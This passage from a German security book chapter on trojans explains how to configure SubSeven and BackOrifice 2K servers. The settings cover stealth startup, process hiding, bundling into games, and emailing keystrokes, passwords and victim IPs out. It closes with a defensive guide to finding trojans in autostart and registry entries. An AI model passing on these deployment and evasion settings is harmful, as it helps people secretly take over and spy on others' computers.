 Restart Windows [see below] Ping server Compress/Decompress files before and after transfers The Matrix Ultra Fast IP scanner [thanks to Blade's TH] IP Tool [Resolve Host names/Ping IP addresses] Get victim's home info [not possible on all servers]: Address
 Configure menu options [add/delete pa-ges, change names] Automatically Display Image when downloaded [jpg,bmp] Automatically edit files when downloa-ded [txt,bat] Change port numbers for The Matrix, Keylogger and Spies Retrieve " Sub7 message of the day"
 4.5.3 Feintuning – Gefahren unter der Lupe
 Wichtige Einstellungen in der Konfiguration von SubSeven werden im Edit-Server fest-gelegt. Hier geht es vor allem um die Verhaltensweisen des Servers, wenn der Rechner »erfolgreich« infiziert worden ist.
 Die Servereinstellungen unter der Lupe:
 Bild 4.8: Server-Konfiguration nach Belieben – Steuerungsoptionen für den Server
 1.
 2.
 3.
 Port festlegen: 27374 ist der Standardport von SubSeven.
 Hier kann man das Passwort eingeben, das beim Verbinden erscheint.
 Passwort wiederholen.
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 4.
 5.
 6.
 7.
 8.
 9.
 10.
 Hier den Servernamen eintragen, damit man weiss welcher der infizierten PCs sich meldet.
 Hier das Passwort eintragen, falls man nachträglich noch an seinem Server etwas verändern will.
 Passwort wiederholen.
 Port wird bei jedem Start zufällig ausgewählt.
 Hier kann man einstellen, dass der Server nach der Installation gelöscht wird.
 Hier stellt man ein, dass der Server erst nach einem Neustart aktiv wird.
 Nach der Installation wird eine Datei erstellt (beim 2.1 war es msrexe.exe). Hier ist es möglich, den Dateinamen selber zu wählen.
 Wie wird der Server gestartet? – Windows-Versionen zur Auswahl
 Bild 4.9: Die Startmethode können Hacker gezielt festlegen und nach Betriebssystem differenzieren.
 1.
 2.
 3.
 4.
 5.
 6.
 Startmethode über die Registry
 Startmethode über die Registry
 Startmethode über die win.ini
 Startmethode über die system.ini
 Startmethode 1 (nur für Windows 9x-Systeme)
 Startmethode 2
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 7. Startmethode 3
 Hier kann man den Namen eingeben, der in der Registry erscheinen soll. Um einen Ser-ver NT/Windows 2000-startfähig zu machen, muss eine Startmethode gewählt werden, die nicht [windows 9x only] markiert ist.
 Benachrichtigungen
 Bild 4.10: Was soll der Server zur Benachrichtigung des Clients tun?
 1.
 2.
 3.
 ■
 ■
 ■
 ■
 ■
 4.
 5.
 ICQ-Benachrichtigung
 E-Mail-Benachrichtigung
 IRC-Benachrichtigung
 IRC-Server: Hier wird die Serveradresse eingetragen. Port: Hier kommt der IRC-Serverport hinein. Destination: Hier wird der Zielraum eingetragen. Nickname: Hier wird der Name des Servers eingetragen, den er im Chatraum tragen soll. Intervall: Die Intervallzeit, in der er in den Raum sendet.
 SIN-Benachrichtigung: Statische-IP-(Notify)Benachrichtigung. Im folgendem Fens-ter die statische Ziel-IP eingeben, dann ein Leerzeichen und dann den Port.
 CGI-Benachrichtigung
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 Wie wird der Server verpackt?
 Bild 4.11: Versteckspiel – die Tarnoptionen zur Verbreitung
 1.
 2.
 3.
 4.
 Eine ausführbare Datei hinzufügen.
 Eine gepackte Datei hinzufügen.
 Die markierte Datei löschen.
 Dateinamen ändern.
 Um den Server zu tarnen, gibt es hier die Option, ihn in eine Datei einzubinden, das können z.B. kleinere Spiele, Film- oder MP3-Dateien sein. Führt der User nun die Datei aus, wird z.B. ein Spiel gestartet, installiert sich der Server heimlich im Hintergrund auf den Rechner.
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 Plugin-Dateien als Server-Heimat:
 Bild 4.12: Mit Hilfe von Plugins kann man die Funktionen von SubSeven erweitern.
 1.
 2.
 3.
 Hier fügt man ein Plugin in den Server ein.
 Hier kann man den Server ein Plugin aus dem WWW herunterladen lassen.
 Hier kann man ein eingefügtes Plugin aus dem Server löschen.
 Einschränkungen – hier werden erlaubte und unerlaubte Befehle gefiltert
 Bild 4.13: Selbstbeschränkung – Der Befehlsumfang des Servers ist konfigurierbar.
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 1.
 2.
 3.
 4.
 Markiert man dieses Feld, aktiviert man den Filter.
 Hier werden Befehle hinzugefügt, die am Server vom Client ausführbar sein sollen.
 Hier kann man Befehle manuell eintragen.
 Zu löschenden Eintrag mit einem Mausklick auswählen und hiermit löschen.
 Adress-Service – Wohin soll der Server was schicken:
 Bild 4.14: Postdienst für »Wissenswertes« – da steckt Gefahr drin.
 1.
 2.
 3.
 Hier kann man einstellen, dass alle Tastatureingaben an eine bestimmte E-Mail-Adresse geschickt werden, sobald der infizierte Rechner eine Internet-Verbindung öffnet. Dazu muss aber das Plugin sub7keys.dll mit installiert sein.
 Hier dasselbe nur mit Passwörtern, dabei muss man das Plugin sub7passwords.dll in-stalliert haben (sendet icq, aim, ras, usw.).
 Sendet die ganzen gespeicherten Passwörter aus einer Internetverbindung an die an-gegebene E-Mail-Adresse. Dazu wird ebenfalls das Plugin sub7passwords.dll benötigt.
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 Tarnkappe – Icons und Verhaltensweisen
 Bild 4.15: Wüste oder Waldgebiet – hier werden die Tarnvorgaben eingestellt.
 1.
 2.
 3.
 4.
 5.
 Hier kann man eine Fehlermeldung einbauen (der Server funzt trotzdem).
 Hier kann man einstellen, ob nach Starten des Servers eine bestimmte Datei aus dem Internet heruntergeladen werden soll.
 Hier kann man die Icons tauschen und über load andere laden als die vorgegebenen Standard-Icons.
 Wenn der Server fertig ist, geht es ans Sichern. Dabei muss besonders darauf geachtet werden, dass man nicht nur den Dateinamen eingibt, unter dem man speichern will, sondern den kompletten Dateinamen inklusive der Endung exe. Sonst wird das ganze als formatlose Datei gespeichert und man muss die Datei später umbenennen.
 Hier kann man seine Einstellungen sichern und laden.

Page 138
						

114444 Kapitel 4: Trojaner
 Bedienungsfreundlich – der Client
 Bild 4.16: Damit es der Hacker leichter hat – die Client-Konfiguration
 Nach all dem, was Hacker mithilfe des Servers auf einem PC anrichten können, sieht man hier die Möglichkeiten, die das Hacken erleichtern sollen. Mit dieser Oberfläche wird aus dem Client ein »möglichst nutzerfreundliches Arbeitsgerät«. Das Opfer leidet, der Hacker macht sich’s bequem.
 1.
 2.
 3.
 4.
 shortcuts: Shortcuts sind Tastenkürzel, wie man sie aus Winword etc. kennt. Mit ih-nen kommt man schneller zum gewünschten Ziel.
 connection: Unter diesem Punkt findet man neben einem Proxy z.B. einen Scanner, mit dem man das Netz nach infizierten Rechnern abscannen kann. Weiterhin kann man sich hier die Informationen über den PC anzeigen lassen, mit dem man gerade verbunden ist. Unter server option lassen sich dann auch das Passwort und der Port des Servers ändern.
 keys/messages: Dieses Menü behandelt die Besonderheiten des Keyboards und des Nachrichtenversands bzw. das Abhören der Nachrichten.
 advanced: Hier hat man die Möglichkeit, einen FTP-Server auf dem infizierten Sys-tem zu öffnen, was Sinn macht, da sich größere Downloads über SubSeven oft als schwierig erweisen. Unter find files kann man den PC nach Dateien durchsuchen. Weiterhin befinden sich unter advanced sämtliche Passwort-Tools von SubSeven sowie ein Paket Sniffer.
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 5.
 6.
 7.
 8.
 9.
 10.
 11.
 12.
 13.
 14.
 miscellaneous: Hier findet man neben einem FTP-ähnlichen file-manager auch einen Prozess-Viewer namens window-manager.
 fun manager: Entgegen dem Namen findet der Angreifer unter diesem Punkt einige interessante Optionen wie z.B. screen capture. Hier kann man sich den momentanen Bildschirm des infizierten Systems anzeigen lassen und dieses Bild in verschiedenen Intervallen aktualisieren. Weiterhin gibt es hier die Funktion enable mouse clicks, die es ermöglicht, mit der Maus über den Screen auf dem Desktop des Users Ordner anzuklicken, Dateien zu öffnen usw. Diese Option ermöglicht es also, das System voll und ganz zu übernehmen.
 fun other: Unter fun other finden sich viele kleine Nutzlosigkeiten wie die obligatori-sche open/close CD-ROM-Funktion oder ein Spiel namens TIC TAC TOE, das das System des Users bei einem verlorenen Spiel mit den Worten »you lose« einfrieren lässt.
 plugins: Die Autoren von SubSeven mussten sich aufgrund der ständig wachsenden Anzahl von Funktionen etwas einfallen lassen, damit der Server nicht zu groß wird. Daher griff man zu so genannten Plugins. Braucht man z.B. das Passwort-Tool von SubSeven, wird der unkonfigurierte Server nach dem dementsprechenden Plugin fragen und es gegebenenfalls hochladen. Unter plugins findet man einen Plugin-Manager, der anzeigt, welche Plugins bereits geladen sind, und es weiterhin möglich macht, Plugins zu löschen oder hochzuladen.
 local options: Optionen, die auf dem eigenen Rechner vorgenommen werden.
 Hier wird die IP des Sub7-Servers, mit dem Verbindung hergestellt werden soll, festgelegt (s. o. S. 122).
 Hier wird der Port eingegeben, auf dem der SubSeven-Server auf ankommende Fra-gen wartet (Standardport ist 27374).
 Connect: Hier klicken, um die Verbindung zum Server herzustellen, bzw. disconnect, um die Verbindung zu beenden.
 Wenn man auf diesen Button klickt, sieht man alle Verbindungen, die man schon zum Server hatte oder versucht hat aufzubauen – also eine History.
 Diese Symbole sind auch Shortcuts. Wenn man z.B. ICQ-Notification eingestellt hat und das Pager-window ist noch geöffnet, klickt man einfach auf das zweite Symbol von links und der Client holt sich die IP und den Port automatisch. Vier Symbole kann man noch selbst belegen.
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 4.6 BackOrifice 2K – Netzwerk-Tool oder Attacke auf Microsoft
 Am 1. August 1998 stellte die texanische Hackergruppe Cult of the Dead Cow das Win-dows Remote Administration Tool »BackOrifice« auf der Hackermesse Defcon VI in Las Vegas vor. Dabei handelte es sich um eine geschickt programmierte Client/Server-Anwendung, die als Trojanisches Pferd unbemerkt auf einem Windows 9x Betriebssys-tem laufen konnte. Bis zum 7. August desselben Jahres wurde das Tool mehr als 35.000 mal von der Homepage des CDC heruntergeladen.
 Das Ziel von BackOrifice sei es, so die Hackergruppe, die gravierenden Sicherheitsmän-gel unter Windows 95/98 aufzudecken. Und dazu macht sich BackOrifice nicht irgend-welche Bugs oder interne oder undokumentierte APIs des Windows Betriebssystems zu-nutze, sondern es verwendet ausschließlich dokumentierte Windows Function Calls.
 Die Antwort von Microsoft ließ nicht lange auf sich warten. Natürlich wurde nicht zu-gegeben, dass es unter Windows 9x ein Sicherheitsproblem geben könnte. Im Gegenteil: »BackOrifice does not expose or exploit any security issue with the Windows platform ...«, hieß es im Damage Control Statement vom 4. August 1998. Und zum Thema Sicherheit von Windows-Netzwerken schrieb Microsoft: »BackOrifice does not compromise the security of a Windows network.«
 Diese und weitere Aussagen wurden übrigens in der überarbeiteten Version vom 12. August 1998 dieses Statements gestrichen.
 Im Jahr 2000 brachte Cult of the Dead Cow eine neue Version von BackOrifice heraus: »BO2K«. CDC wollte mit dieser Version den Ruf ihres als »Trojaner« verschrienen Tools aufbessern und erweiterten es um neue Features wie z.B. hohe Verschlüsselung, die es fast unmöglich macht, dass die übertragenen Daten an Dritte gelangen. Besonders das sollte Bo2K interessant für Netzwerkadministratoren machen. Solche Dinge dürften für Hacker jedoch eher uninteressant gewesen sein, denn nach wie vor ist BackOrifice einer der beliebtesten Trojaner überhaupt.
 Die Möglichkeiten dieser Software sind sehr vielfältig und bieten wiederum ein anderes Spektrum als die bisher vorgestellten Programme. Zu Beginn werde ich daher die ver-schiedenen Teile und Plugins von BackOrifice 2K vorstellen. Am Ende sollte man dann einen Überblick über die Möglichkeiten eines fertig konfigurierten Servers mit Client haben.

Page 141
						

4.6 BackOrifice 2K – Netzwerk-Tool oder Attacke auf Microsoft 114477
 4.6.1 BO2K und seine Komponenten
 Hier eine Übersicht über die wichtigsten Dateien und ihre Funktion im komplexen Zu-sammenspiel zwischen Fernwartungsfunktion und Trojanerfunktionalität.
 Datei Funktion
 bo2k.exe Das ist der Server. Wird er gestartet, kopiert er sich automatisch in den Ordner C:\windows\system. Er trägt sich auch in die Registry ein, so dass er bei jedem Windows-Start automatisch aktiviert wird. Ist der Server erst einmal gestartet, hat man sich infiziert. Der Server lässt sich auch noch mit zusätzlichen Teilen (Plugins) erweitern.
 bo2kgui.exe Der Client ist der »sichtbare« Teil von BO2K. Üb er die grafische Benutzer-oberfläche kann man den in fizierten PC fernsteuern, ohne dass man größere Kenntnisse darüber benötigt. Bevor sich der Client mit dem Server verbinden kann, müssen jedoch noch einige Einste llungen vorgenommen werden (Passwort usw.). Auch die IP (das ist die Adresse eines PCs im Internet) wird benötigt, um Client und Server zu verbinden.
 bo2kcfg.exe Mit diesem Programm kann man wichtige Einstellungen (Verschlüsselung, Port, auf dem sich Server und Client verbinden, Name des Servers, wenn er sich in den Systemordner kopiert usw.) am Server vornehmen und kleine Erweiterungen (Plugins) einfügen. Bevor der Server funk tioniert, muss man ihn erst mit diesem Programm konfigurieren.
 Tabelle 4.1: Dateien und ihre Funktion im Zusammenspiel zwischen Fernwartungs-
 funktion und Trojanerfunktionalität
 Das sind im Grunde die wichtigsten Dateien von BO2K. Dazu gibt es noch ein paar Plugins.
 Datei Funktion
 bo2k_inetcmd.dll Das sind im Wesentlichen die Grundfunktionen des Servers. Ohne dieses Plugin funktioniert er nicht; es sorgt dafür, da ss es möglich ist, Dateien auszutauschen.
 enc_serpent.dll SERPENT sorgt dafür, dass die Daten zwischen Client und Server nicht unver-schlüsselt übermittelt werd en. Es gibt auch noch eine Menge anderer Verschlüs-selungs-Plugins, aber meiner Meinung nach ist SERPENT das beste. SERPENT muss in Server und Client eingefügt werden.
 io_stcpio.dll Dies ist ein sehr wichtiges Plugin für die Datenübe rmittlung. Auf den ersten Blick stellt es zwar keine neuen Möglichkei ten zur Verfügung, aber es verschlüsselt auch den Header der TCP-Pakete. So kann man sie nicht als BO2K-Datenverkehr (Traffic) erkennen. Zusammen mit der Verschlüsse lung ein klarer Vorteil von BO2K gegenüber anderen Remote-Adminis tration-Tools (RAT). STCPIO wird in Client und Server eingefügt.
 srv_rattler.dll Dieses Plugin übernimmt Benachrich tigungsfunktionen: Ist der Server gestartet, teilt einem der Rattler die IP des Opfers per Mail mit.
 Tabelle 4.2: BO2K-Plugins
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 4.6.2 BackOrifice für Hacker – So sieht der Server dann aus
 Bisher haben Sie die Möglichkeiten von zwei Trojanern kennen gelernt und einen Ein-blick in die Möglichkeiten erhalten. Was jetzt noch fehlt, ist eine Vorstellung, mit wel-chen Einstellungen ein Server konfiguriert wird, um ihn zu platzieren. Sicherlich ist das von Fall zu Fall verschieden, aber die wichtigsten Entscheidungen lassen sich aus der fol-genden Konfiguration ableiten.
 Bild 4.17: Startschuss zur BackOrifice-Konfiguration
 Nach dem Start von bo2kcfg.exe werden die folgenden Plugins hinzugefügt:
 bo2k_control.dll ■
 ■
 ■
 ■
 ■
 ■
 ■
 bo2k_inetcmd.dll bo2k_interface.dll bo2k_legacy.dll bo2k_regfile.dll bo2k_simpleauth.dll bo2k_system.dll
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 ■
 ■
 ■
 enc_serpent.dll io_stcpio.dll srv_rattler.dll
 Die Liste PlugIns Loaded müsste sich nun gefüllt haben. Um die Plugins nun zu konfigu-rieren, müssen im Bereich Option Variables, der sich Explorer-ähnlich bedienen lässt, den verschiedenen Einstellungspunkten Werte zugewiesen werden.
 Die Einstellungen könnten z.B. so aussehen (typische Einstellungen finden Sie in der rechten Spalte jeweils kursiv gesetzt):
 Startup Einstellungen, mit denen der BO2K Server gestartet wird.
 Init Cmd Net Type STCPIO STCPIO wird zur Datenübermittlung benutzt. Init Cmd Bind Str 10050 Auf Port 10050 wartet der Server auf Befehle. Init Cmd Encryption SERPENT SERPENT sorgt für die Verschlüsselung. Init Cmd Auth NULLAUTH Das Standard-Plugin Nullauth ist für die Authentifi-
 cation zuständig. Idle Timeout (ms) 60000 Die Zeit in Millisekunden, nach der die Verbindung
 bei Leerlauf getrennt wird. Stealth Tarnung des Servers Run at startup Enabled Soll der Server bei jedem Windows-Start aktiviert
 werden? (Ja) Delete original file Disabled Soll die Originaldatei gelöscht werden, nachdem
 sich der Server kopiert hat? (Nein) Insidious mode Disabled Soll sich der Server durch einen überlangen Datei-
 namen vor dem manuellen Löschen schützen? (Nein)
 Runtime pathname AUTH32.EXE Name des Servers, wenn er sich ins Systemver-zeichnis kopiert. (Sollte sich möglichst unauffällig und technisch anhören.)
 Hide process Enabled Soll sich der Server verstecken? (Ja) Host process name [NT]
 NET AUTH Prozessname unter Win NT? (Sollte unauffällig und eher technisch sein.)
 Service Name [NT] Network Authentification Dienstname unter NT? (Technisch, aber nicht so wichtig)
 STCPIO Einstellungen für das Plugin STCPIO Header Encryption SERPENT Mit SERPENT wird der TCP-Header verschlüsselt. Default Port 10050 Auf Port 10050 wartet STCPIO auf Befehle von
 Client. File Transfer Einstellungen zum Austausch von Dateien File Xfer Net Type STCPIO STCPIO wird zur Datenübermittlung benutzt. File Xfer Bind Str RANDOM Der Port, über den die Datei übertragen wird, wird
 zufällig ausgewählt. File Xfer Encryption SERPENT SERPENT sorgt für die Verschlüsselung. File Xfer Auth NULLAUTH Das Standard-Plugin Nullauth ist für die Authentifi-
 cation zuständig.
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 Startup Einstellungen, mit denen der BO2K Server gestartet wird.
 SERPENT Hier werden die Einstellungen für SERPENT be-stimmt.
 Serpent Key String testpass Das Passwort ist egal, wichtig ist nur, dass es mit dem übereinstimmt, dass wi r später im Client ein-geben.
 Rattler (DEV) Einstellungen zum Rattler, z.B. an welche Adresse er die Mail schickt.
 Use Registry Disabled Soll der Rattler beim ersten Starten seine Einstel-lungen in der Registry speichern und später immer wieder die gleichen benutzen? (Nein)
 Run On PlugIn Load Enabled Soll der Rattler mit den anderen PlugIns gestartet werden? (Ja)
 Query Delay (secs) 30 In welchen Abständen soll der Rattler checken, ob das Opfer online ist?
 Mail Host Welcher Mailserver soll zum Senden verwendet werden?
 Mail Port 25 Port 25 ist der Standard Port der Mailserver, der auch von nahezu allen benutzt wird.
 Mail From [email protected] Es ist egal, was hier steht, nur das richtige Format ([email protected]) muss beachtet werden.
 Rcpt To [email protected] An welche Adresse soll der Rattler die Mail mit der IP schicken?
 Subject Rattler Information (v%v): %u@%h
 Der Betreff, der in der Mail genannt wird (am bes-ten so lassen.)
 Retries 10 Wie oft soll der Rattler versuchen, sich beim Mail-server anzumelden und eine Mail zu schicken?
 Retry Delay (secs) 60 In welchen Abständen soll das geschehen? Notify On Startup Enabled Soll der Rattler schon beim Starten versuchen, eine
 Mail zu senden? (Ja) Use Debugging Disabled Soll der Rattler zu dem was er macht Protokoll
 schreiben? (Nein) Debugging File C:\WINDOWS\SYSTEM\
 RATTLER.LOG Sollte die Protokollierung aktiviert sein, wird alles in dieser Datei gespeichert. (Debugging ist nur bei Problemen sinnvoll.)
 Tabelle 4.3: BO2K-Einstellungen
 Wird dieser Server gestartet, kopiert er sich unter dem Namen auth32.exe in den Ordner C:\windows\system\. Ein Eintrag in der Windows-Registrierung führt dazu, dass er beim Systemstart automatisch geladen wird.
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 4.6.3 Konfiguration des Clients für den Hack
 Bild 4.18: Client-Konfiguration ganz komfortabel
 Der dazugehörige Client wird entsprechend angepasst. Falls Sie den Selbstversuch star-ten wollen, finden Sie hier die entsprechende Konfiguration zu der oben vorgeführten Server-Konfiguration. Zuerst die bo2kgui.exe starten. Dann oben auf PLUGINS klicken, anschließend auf CONFIGURE. Mit INSERT werden folgende Plugins hinzugefügt:
 enc_serpent.dll ■
 ■
 ■
 io_stcpio.dll bo2k_simpleauth.dll
 Nun werden diese nur noch entsprechend konfiguriert:
 SERPENT Serpent Key String Testpass STCPIO Header Encrytion SERPENT Default Port 10050
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 4.6.4 Mutig – Selbsttest mit BackOrifice
 Zuerst muss man natürlich bo2k.exe auf dem eigenen Rechner starten. Wie Sie sehen, merkt man vom Kopiervorgang beim Öffnen überhaupt nichts. Dann den Client star-ten, auf File und New Server klicken. Bei Name of this Server geben Sie »Selbsttest« ein und bei Server Address „127.0.0.1:10050“ (127.0.0.1 ist immer die eigene IP und :10050 ist der Port, über den die Verbindung erfolgen soll).
 Nachdem Sie mit OK bestätigt haben, klicken Sie auf Click to Connect. Nach einem kur-zen Moment sollte unten Version: Back Orifice 2000 (BO2K) v1.1 zu lesen sein.
 Es hat funktioniert, die Verbindung wurde erfolgreich hergestellt.
 4.7 So erkennen Sie Trojaner auf Ihrem System Da nun die Einsatzmöglichkeiten und Gefahrenpotentiale Trojanischer Pferde bekannt sind, werden Sie sich evtl. fragen, ob Sie nicht selber bereits infiziert sind. Deshalb möchte ich an dieser Stelle einige Möglichkeiten vorstellen, wie man Trojanische Pferde auf einem System erkennen und beseitigen kann. Für den ungeübten User erweist sich dies oft als sehr schwierig, da die Suche nach solchen Programmen oft Eingriffe ins Sys-tem bzw. die Registry erfordert. Es gibt aber auch Tools, die das Aufspüren von Stan-dard-Trojanern erheblich erleichtern.
 4.7.1 Viren- und Troja-Scanner
 Grundsätzlich sollte auf jedem System immer ein Virenscanner installiert sein. Es er-weist sich weiterhin als zwingend erforderlich, dass die entsprechende Software ständig aktualisiert wird, denn schließlich werden täglich neue Trojaner entdeckt.
 Bitte achten Sie vor dem ersten Scan darauf, dass die Option Scan alle Dateien oder eine ähnliche Funktion aktiviert ist. Das wird oft durch die Hersteller nicht voreingestellt, weil sonst der Scan sehr lange dauern kann. Außerdem sollte man darauf achten, dass der Scanner infizierte Dateien nicht sofort löscht, da einige Autoren von Trojanern in ihre Tools Sicherheitsmaßnahmen gegen diese Art der Entfernung eingebaut haben, und dies den Virenscannern erhebliche Probleme bereiten wird. Es führt in manchen Fällen sogar dazu, dass das System unbrauchbar wird – oder besser gesagt: der Rechner total abstürzt. »Mobman« hat z.B. eine solche Funktion in Sub7 eingebaut.
 Sollte der Virenscanner nach einer Überprüfung eine Infektion feststellen, werden ver-schiedene Möglichkeiten der Säuberung vorgeschlagen. Man sollte – wie gesagt – erst einmal davon absehen, die betroffene Datei zu löschen, um evtl. Schäden zu vermeiden. Versuchen Sie die Dateien zu isolieren bzw. in Quarantäne zu stecken.
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 Sollte der Virenscan keine infizierten Dateien finden, heißt das noch lange nicht, dass der Rechner sauber ist. Der Trojaner kann getarnt sein – und dann scheitert der Viren-scanner (s.o. S. 130). Wie man sich in solchen Fällen verhält, zeigen die nächsten Ab-schnitte.
 Bei der folgenden Art der Trojanerbekämpfung sollte man sehr vorsichtig sein. Wenn Sie nicht sicher sind, ziehen Sie besser einen Fachmann zu Rate. Verschiedene Firmen bieten auch telefonisch Ihre Hilfe an.
 4.7.2 AutoRun Einträge
 Ein Trojaner funktioniert nur dann, wenn er mit dem Systemstart ausgeführt wird. Das heißt, dass der Server ständig im Hintergrund des Systems laufen muss, um bei einer Onlineverbindung bereit zu sein, Befehle vom Client zu empfangen.
 Hier erläutere ich die wichtigsten Einträge, die Trojanische Pferde vornehmen, um ge-startet zu werden.
 Autostart-Ordner – eher unwahrscheinlich
 Die klassische Startvariante für Programme, die automatisch gestartet werden sollen, ist der so genannte Autostart-Ordner. Diese Startmöglichkeit ist aber sehr unwahrschein-lich, da die Gefahr der Entdeckung doch sehr hoch ist.
 Den Autostart kann man folgendermaßen kontrollieren: Entweder direkt über die Startleiste:
 Start Programme Autostart oder über C:\Windows\Startmenü\Programme\Autostart. Bei Systemen wie Windows NT findet man den Ordner über die Benutzerprofile (i.a. C:\WinNT\Profiles\Username\Startmenü\Programme\Autostart ).
 Dort sollten Sie die Augen nach Auffälligkeiten offen halten und evtl. Programme bzw. Verknüpfungen löschen, die Sie nicht kennen und die einen Trojaner starten könnten.
 Win.ini – Interessant zu Windows 3.x-Zeiten
 Früher war es eine sehr beliebte Methode, den Trojaner über Einträge in der Win.ini starten zu lassen. Um das auszuschließen, geben Sie unter Start Ausführen in das Einga-befeld sysedit.exe ein.
 Schauen Sie sich besonders die Einträge hinter den Parametern Load und Run an. Meist werden Befehle aber auch durch zahlreiche Leerzeichen hinter den Parameterbezeich-nungen getarnt, so dass sie nicht sofort sichtbar sind. Scrollen Sie also mit dem unteren Balken einfach nach rechts, bis Sie das Ende der Zeile im Blick haben.
 Auffällige Einträge sollten Sie bei Bedarf entfernen.
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 System.ini – ziemlich selten
 Eine Eintragung in dieser Datei erfolgt unter dem Parameter shell=. Vorsicht! Hier ist schon eine Eintragung namens Explorer.exe enthalten. Diese sollten Sie auf keinen Fall löschen! Es könnten jedoch hinter Explorer.exe noch weitere Eintragungen erfolgen. Die System.ini wird auf dem gleichen Weg zur Bearbeitung geöffnet wie die Win.ini.
 autoexec.bat – DOS-Altlast mit wenig Risikopotential
 Hier sollte man ebenfalls mit dem Löschen von Eintragungen vorsichtig sein. Denn auch hier tragen sich einige harmlose Programme ein. Trojaner nutzen diese Möglichkeit eher selten. Da jedoch diese Möglichkeit dennoch gegeben ist, erwähne ich sie auch. Die au-toexec.bat kann man ebenfalls mit Sysedit.exe einsehen und bearbeiten.
 config.sys – Gefahr nur bei ungewöhnlichen Gerätetreibern
 Einige wenige Trojaner tarnen sich auch als Gerätetreiber auf Windows 95/98 Systemen. Diese Trojaner lassen sich jedoch schwer realisieren und sind daher zum Glück noch recht selten. Die config.sys ist ebenfalls mittels der Sysedit.exe auffindbar.
 winstart.bat oder control.ini – möglich, aber sehr selten
 Wenn in der winstart.bat eine Eintragung erkennbar ist, bedeutet dieses in der Regel Folgendes: Eine Befehlszeile veranlasst das Kopieren einer Datei, welche vor dem letzten Systemstart gelöscht wurde. Bisher sind kaum Trojaner bekannt, die diesen Weg nutzen. Auch in der control.ini ist es möglich, einen Eintrag zwecks Autorun zu tätigen – aber eben auch sehr selten.
 4.7.3 Windows-Registrierung – hier wird’s spannend
 Die in der Registrierung genannten Pfade werden als Ordner dargestellt, man erreicht sie mit jeweiligen Doppelklicks auf die Icons. Auch hier ist wieder Vorsicht geboten, welche Einträge gelöscht werden. Die Möglichkeit zwecks Start beim Systemstart wird von sehr vielen harmlosen Programmen (z.B. Deinstaller, Virenscannern, BackUp-Tools etc.), je-doch auch Trojanischen Pferden genutzt. Es gibt noch zahlreiche andere Eintragungs-möglichkeiten zwecks Autorun in der Registrierung. Diese werden (zum Glück) nur sel-ten von Trojanischen Pferden genutzt.
 Hilfreich ist auch das Windows-eigene Programm msconfig. Gehen Sie also einfach auf den Start-Button, dann auf AUSFÜHREN und geben Sie msconfig ein. Über dieses Pro-gramm können Sie viele der oben genannten Einträge überprüfen und bequem ändern. Auch über sysedit finden Sie viele der o.g. Eintragungsmöglichkeiten. Gehen Sie vor wie
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 unter msconfig, geben stattdessen jedoch sysedit ein. Es werden sich mehrere Fenster in Editorform öffnen.
 Zuerst rufen Sie die Registrierungsdatei des Systems über START AUSFÜHREN • regedit auf. Ein Programm mit furchtbar vielen Einträgen öffnet sich. Hier sollen lediglich eini-ge Pfade interessieren:
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices\
 Außerdem gibt es noch die so genannten Unknown-Methoden bzw. Windows-Registrie-rung, über Shell-Parameter.
 Auch hier wird die Windows-Registrierung für den automatischen Start des Programms genutzt. Unter diesen Pfaden sind folgende Einträge zu finden:
 HKEY_CLASSES_ROOT\exefile\shell\open\command\ @="%1" %*" HKEY_CLASSES_ROOT\comfile\shell\open\command\ @="\"%1\" %*" HKEY_CLASSES_ROOT\batfile\shell\open\command\ @="\"%1\" %*" HKEY_CLASSES_ROOT\htafile\shell\open\command\ @="\"%1\" %*" HKEY_CLASSES_ROOT\piffile\shell\open\command\ @="\"%1\" %*"
 HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command\ ➥@="\"%1\" %*" HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command\ ➥@="\"%1\" %*" HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\ ➥@="\"%1\" %*" HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\shell\open\command\ ➥@="\"%1\" %*" HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command\ ➥@="\"%1\" %*"
 Vor den Zeichen "%1" %*" könnte noch ein Programm eingetragen worden sein. Stan-dardmäßig sind jedoch nur die hier genannten Eintragungen vorhanden. Sollte hier noch eine ausführbare Datei enthalten sein, so könnte sich ein Trojanisches Pferd dahin-ter verbergen. Bei Verdacht nicht den gesamten Eintrag entfernen, sondern nur den Namen des Programms!
 Bei ICQ-Usern besteht eine weitere Möglichkeit bei folgender Eintragung:
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 HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test\ "Path"="test.exe" ➥"Startup"="c:\\test" "Parameters"="" "Enable"="Yes"
 Registry Installed Components
 HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\ Der Default-Wert lautet: "Trojaner"\StubPath - C:\WINDOWS\SYSTEM\"trojaner".exe
 Registry Common Startup Schlüssel
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\User ➥shell folders. Der Eintrag heißt normalerweise C:\WINDOWS\SYSTEM\dv\.
 Unter diesem Pfad befindet sich auch der Server.
 Tarnung als Gerätetreiber
 Ein Trojanisches Pferd kann sich wie schon angedeutet auch als Gerätetreiber tarnen. In einem solchen Fall erweist sich die genauere Identifizierung als nicht ganz so einfach. Schließlich kann sich dahinter auch ein echter Gerätetreiber verbergen, was bei Lö-schung zu Systemproblemen führt. Auch hier erfolgt eine Eintragung in der Registrie-rung, jedoch unter einem »ungewohntem« Pfad:
 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\INtLD
 4.7.4 Methode über Explorer.exe auf Laufwerk C:\
 Aufgrund eines Bugs in Windows wird immer zunächst die erste explorer.exe ausgeführt (also im Zweifelsfall im Verzeichnis C:\), bevor die eigentliche explorer.exe (in C:\windows\) gestartet wird. Die explorer.exe in C:\ könnte bewirken, dass zunächst ein Tro-janer geladen wird, der sich im Verzeichnis C:\windows\system oder anderswo befindet.
